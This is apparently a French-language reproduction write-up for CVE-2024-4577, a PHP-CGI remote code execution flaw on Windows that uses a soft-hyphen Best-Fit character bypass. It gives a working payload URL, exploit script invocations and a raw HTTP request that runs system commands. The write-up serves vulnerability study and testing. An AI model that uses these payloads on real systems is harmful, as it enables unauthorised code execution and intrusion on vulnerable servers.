
Reproduction de CVE : cve-2024-4577-phpcgi_rce_reproduction
CVE-2024-4577 est une vulnérabilité critique d'exécution de code à distance dans l'implémentation CGI de PHP sous Windows. Elle contourne le correctif de la CVE-2012-1823 d'origine en exploitant la conversion de page de code « Best-Fit » de Windows pour faire transiter des arguments de ligne de commande via la chaîne de requête CGI.
Lorsque PHP s'exécute en tant que module CGI (php-cgi.exe), il analyse la chaîne de requête comme des arguments de ligne de commande. Le correctif d'origine de la CVE-2012-1823 bloquait le caractère - (trait d'union, 0x2D) pour empêcher l'injection d'arguments. Cependant, sur les systèmes Windows utilisant certaines pages de code (par exemple, chinois, japonais, coréen), la fonction de correspondance de caractères « Best-Fit » convertit des caractères Unicode spécifiques en leurs équivalents ASCII les plus proches.
La technique de contournement clé utilise le caractère trait d'union souple (0xAD / U+00AD). Lorsqu'une requête transmet %AD dans la chaîne de requête et que la locale du serveur utilise une page de code « Best-Fit », Windows convertit en interne 0xAD en 0x2D (trait d'union), ce qui permet à l'attaquant d'injecter des arguments PHP malgré le filtre.
Exemple : %ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input devient -d allow_url_include=1 -d auto_prepend_file=php://input.
Exigences de configuration :
php-cgi.exemod_cgi ou mod_cgid configuréScriptAlias /php-cgi/ "C:/php/"
Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://inputpython exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo
La charge utile spécialement conçue injecte des directives de configuration PHP via la chaîne de requête :
GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded
<?php system("whoami"); ?>
php-cgi.exe